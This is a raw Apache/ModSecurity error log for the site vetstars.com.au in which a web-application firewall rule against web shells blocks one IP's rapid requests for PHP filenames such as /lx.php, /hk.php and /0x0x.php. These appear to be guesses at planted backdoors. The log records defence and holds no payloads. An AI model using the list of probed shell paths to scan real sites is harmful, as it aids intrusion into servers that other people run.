[Tue Jan 13 21:35:23.523204 2026] [:error] [pid 22425:tid 22432] [client 4.241.185.221:13836] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "aWZKG3LEE_SEuOZ0WBT8TAAAAIE"]
[Tue Jan 13 21:35:24.903306 2026] [:error] [pid 27597:tid 27601] [client 4.241.185.221:46510] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "aWZKHD8Db8v8HoJ3n4ALsAAAAAI"]
[Tue Jan 13 21:35:26.653603 2026] [:error] [pid 33727:tid 33732] [client 4.241.185.221:50171] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "aWZKHqHONsygso2w0OPwbwAAAQM"]
[Tue Jan 13 21:35:28.226031 2026] [:error] [pid 27597:tid 27607] [client 4.241.185.221:13848] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classgoto24.php"] [unique_id "aWZKID8Db8v8HoJ3n4ALxAAAAAg"]
[Tue Jan 13 21:35:29.684094 2026] [:error] [pid 27597:tid 27614] [client 4.241.185.221:48733] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aWZKIT8Db8v8HoJ3n4ALyAAAAA8"]
[Tue Jan 13 21:35:30.957000 2026] [:error] [pid 49677:tid 49693] [client 4.241.185.221:44263] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aWZKIviKiDrYd_02VZowZwAAAEw"]
[Tue Jan 13 21:35:32.328483 2026] [:error] [pid 49677:tid 49696] [client 4.241.185.221:46497] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aWZKJPiKiDrYd_02VZowaAAAAE8"]
[Tue Jan 13 21:35:34.066131 2026] [:error] [pid 33727:tid 33748] [client 4.241.185.221:20490] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aWZKJqHONsygso2w0OPwdAAAARM"]
[Tue Jan 13 21:35:36.059206 2026] [:error] [pid 22426:tid 22468] [client 4.241.185.221:48872] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/die.php"] [unique_id "aWZKKNy1Q5toryYTHgO8XgAAAMo"]
[Tue Jan 13 21:35:38.401399 2026] [:error] [pid 27597:tid 27616] [client 4.241.185.221:44620] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/die.php"] [unique_id "aWZKKj8Db8v8HoJ3n4AL2AAAABE"]
[Tue Jan 13 21:35:41.440581 2026] [:error] [pid 33727:tid 33747] [client 4.241.185.221:13874] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/die.php"] [unique_id "aWZKLaHONsygso2w0OPwdQAAARI"]
[Tue Jan 13 21:35:42.931381 2026] [:error] [pid 27597:tid 27600] [client 4.241.185.221:48034] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/die.php"] [unique_id "aWZKLj8Db8v8HoJ3n4AL3gAAAAE"]
[Tue Jan 13 21:35:44.482144 2026] [:error] [pid 33727:tid 33737] [client 4.241.185.221:46466] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaaa.php"] [unique_id "aWZKMKHONsygso2w0OPweQAAAQg"]
[Tue Jan 13 21:35:47.498383 2026] [:error] [pid 22425:tid 22451] [client 4.241.185.221:44617] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaaa.php"] [unique_id "aWZKM3LEE_SEuOZ0WBT8VwAAAJQ"]
[Tue Jan 13 21:35:49.083904 2026] [:error] [pid 27597:tid 27619] [client 4.241.185.221:44406] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaaa.php"] [unique_id "aWZKNT8Db8v8HoJ3n4AL4AAAABQ"]
[Tue Jan 13 21:35:50.355064 2026] [:error] [pid 22485:tid 22491] [client 4.241.185.221:43461] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaaa.php"] [unique_id "aWZKNhzzbghmKib9ie_8DwAAAYQ"]
[Tue Jan 13 21:35:52.374212 2026] [:error] [pid 33727:tid 33742] [client 4.241.185.221:44652] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbbb.php"] [unique_id "aWZKOKHONsygso2w0OPwegAAAQ0"]
[Tue Jan 13 21:35:53.559310 2026] [:error] [pid 49677:tid 49691] [client 4.241.185.221:44408] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbbb.php"] [unique_id "aWZKOfiKiDrYd_02VZowbQAAAEo"]
[Tue Jan 13 21:35:54.806737 2026] [:error] [pid 33727:tid 33753] [client 4.241.185.221:42585] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbbb.php"] [unique_id "aWZKOqHONsygso2w0OPwfAAAARg"]
[Tue Jan 13 21:35:56.565534 2026] [:error] [pid 22485:tid 22511] [client 4.241.185.221:49504] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbbb.php"] [unique_id "aWZKPBzzbghmKib9ie_8FAAAAZg"]
[Tue Jan 13 21:35:57.671934 2026] [:error] [pid 22389:tid 22397] [client 4.241.185.221:42582] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aWZKPSLIB_8b411qalJZEQAAAUY"]
[Tue Jan 13 21:35:59.881014 2026] [:error] [pid 22425:tid 22435] [client 4.241.185.221:42468] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aWZKP3LEE_SEuOZ0WBT8XgAAAIQ"]
[Tue Jan 13 21:36:01.135715 2026] [:error] [pid 33727:tid 33749] [client 4.241.185.221:42460] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cccc.php"] [unique_id "aWZKQaHONsygso2w0OPwfwAAARQ"]
[Tue Jan 13 21:37:12.783129 2026] [:error] [pid 27597:tid 27603] [client 4.241.185.221:46726] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3406.php"] [unique_id "aWZKiD8Db8v8HoJ3n4AMjwAAAAQ"]
[Tue Jan 13 21:37:13.900070 2026] [:error] [pid 33727:tid 33748] [client 4.241.185.221:49050] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3406.php"] [unique_id "aWZKiaHONsygso2w0OPw-wAAARM"]
[Tue Jan 13 21:37:15.507379 2026] [:error] [pid 47987:tid 48008] [client 4.241.185.221:49024] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3406.php"] [unique_id "aWZKi3pLPQ4HpxlnLJzPogAAAdI"]
[Tue Jan 13 21:37:16.908666 2026] [:error] [pid 22426:tid 22466] [client 4.241.185.221:49083] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3406.php"] [unique_id "aWZKjNy1Q5toryYTHgO83wAAAMg"]
[Tue Jan 13 21:37:18.749288 2026] [:error] [pid 22389:tid 22391] [client 4.241.185.221:49086] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/963e.php"] [unique_id "aWZKjiLIB_8b411qalJZbAAAAUA"]
[Tue Jan 13 21:37:20.698630 2026] [:error] [pid 48179:tid 48194] [client 4.241.185.221:49029] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/963e.php"] [unique_id "aWZKkNQk65iAmQjH7ZSSrAAAAg0"]
[Tue Jan 13 21:37:21.163507 2026] [:error] [pid 22485:tid 22490] [client 4.241.185.221:44687] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/963e.php"] [unique_id "aWZKkRzzbghmKib9ie_8ewAAAYM"]
[Tue Jan 13 21:37:21.857221 2026] [:error] [pid 33727:tid 33733] [client 4.241.185.221:45791] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/963e.php"] [unique_id "aWZKkaHONsygso2w0OPxBQAAAQQ"]
[Tue Jan 13 21:37:22.888253 2026] [:error] [pid 47987:tid 48003] [client 4.241.185.221:42812] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aWZKknpLPQ4HpxlnLJzPpwAAAc0"]
[Tue Jan 13 21:37:24.165185 2026] [:error] [pid 49677:tid 49703] [client 4.241.185.221:45984] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aWZKlPiKiDrYd_02VZow4QAAAFY"]
[Tue Jan 13 21:37:24.796814 2026] [:error] [pid 22425:tid 22445] [client 4.241.185.221:48582] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aWZKlHLEE_SEuOZ0WBT8ygAAAI4"]
[Tue Jan 13 21:37:26.577913 2026] [:error] [pid 48179:tid 48184] [client 4.241.185.221:47862] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hk.php"] [unique_id "aWZKltQk65iAmQjH7ZSSsQAAAgM"]
[Tue Jan 13 21:37:28.825648 2026] [:error] [pid 22389:tid 22408] [client 4.241.185.221:48519] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjfuns.php"] [unique_id "aWZKmCLIB_8b411qalJZcAAAAVE"]
[Tue Jan 13 21:37:29.505105 2026] [:error] [pid 22389:tid 22412] [client 4.241.185.221:44020] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjfuns.php"] [unique_id "aWZKmSLIB_8b411qalJZcQAAAVU"]
[Tue Jan 13 21:37:31.795305 2026] [:error] [pid 48179:tid 48182] [client 4.241.185.221:47217] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjfuns.php"] [unique_id "aWZKm9Qk65iAmQjH7ZSSsgAAAgE"]
[Tue Jan 13 21:37:32.286759 2026] [:error] [pid 48179:tid 48194] [client 4.241.185.221:50069] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cjfuns.php"] [unique_id "aWZKnNQk65iAmQjH7ZSSswAAAg0"]
[Tue Jan 13 21:37:32.768766 2026] [:error] [pid 27597:tid 27615] [client 4.241.185.221:44006] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akk.php"] [unique_id "aWZKnD8Db8v8HoJ3n4AMlwAAABA"]
[Tue Jan 13 21:37:34.622606 2026] [:error] [pid 22426:tid 22472] [client 4.241.185.221:46718] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akk.php"] [unique_id "aWZKnty1Q5toryYTHgO85QAAAM4"]
[Tue Jan 13 21:37:35.427523 2026] [:error] [pid 22426:tid 22478] [client 4.241.185.221:44494] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akk.php"] [unique_id "aWZKn9y1Q5toryYTHgO85gAAANQ"]
[Tue Jan 13 21:37:36.299182 2026] [:error] [pid 47987:tid 48014] [client 4.241.185.221:48801] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akk.php"] [unique_id "aWZKoHpLPQ4HpxlnLJzPsAAAAdg"]
[Tue Jan 13 21:37:37.246661 2026] [:error] [pid 22426:tid 22461] [client 4.241.185.221:48828] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpa.php"] [unique_id "aWZKody1Q5toryYTHgO85wAAAMM"]
[Tue Jan 13 21:37:38.066809 2026] [:error] [pid 33727:tid 33753] [client 4.241.185.221:47861] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpa.php"] [unique_id "aWZKoqHONsygso2w0OPxFgAAARg"]
[Tue Jan 13 21:37:39.442122 2026] [:error] [pid 22426:tid 22481] [client 4.241.185.221:46942] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpa.php"] [unique_id "aWZKo9y1Q5toryYTHgO86gAAANc"]
[Tue Jan 13 21:37:40.577082 2026] [:error] [pid 22389:tid 22411] [client 4.241.185.221:50044] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpa.php"] [unique_id "aWZKpCLIB_8b411qalJZcgAAAVQ"]
[Tue Jan 13 21:37:42.061876 2026] [:error] [pid 22425:tid 22440] [client 4.241.185.221:13486] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrr.php"] [unique_id "aWZKpnLEE_SEuOZ0WBT80AAAAIk"]
[Tue Jan 13 21:37:43.893799 2026] [:error] [pid 22425:tid 22434] [client 4.241.185.221:47872] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrr.php"] [unique_id "aWZKp3LEE_SEuOZ0WBT80gAAAIM"]
[Tue Jan 13 21:37:44.574045 2026] [:error] [pid 22425:tid 22441] [client 4.241.185.221:44528] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrr.php"] [unique_id "aWZKqHLEE_SEuOZ0WBT80wAAAIo"]
[Tue Jan 13 21:37:44.931423 2026] [:error] [pid 48179:tid 48188] [client 4.241.185.221:45121] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rrr.php"] [unique_id "aWZKqNQk65iAmQjH7ZSStQAAAgc"]
[Tue Jan 13 21:37:45.405483 2026] [:error] [pid 48179:tid 48200] [client 4.241.185.221:46948] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aWZKqdQk65iAmQjH7ZSStgAAAhM"]
[Tue Jan 13 21:37:46.518674 2026] [:error] [pid 22426:tid 22476] [client 4.241.185.221:45153] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aWZKqty1Q5toryYTHgO87AAAANI"]
[Tue Jan 13 21:37:47.786849 2026] [:error] [pid 27597:tid 27621] [client 4.241.185.221:13608] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aWZKqz8Db8v8HoJ3n4AMmAAAABY"]
[Tue Jan 13 21:37:49.077343 2026] [:error] [pid 22426:tid 22458] [client 4.241.185.221:48946] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aWZKrdy1Q5toryYTHgO87QAAAMA"]
[Tue Jan 13 21:37:49.587716 2026] [:error] [pid 27597:tid 27616] [client 4.241.185.221:45169] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x0x.php"] [unique_id "aWZKrT8Db8v8HoJ3n4AMmQAAABE"]
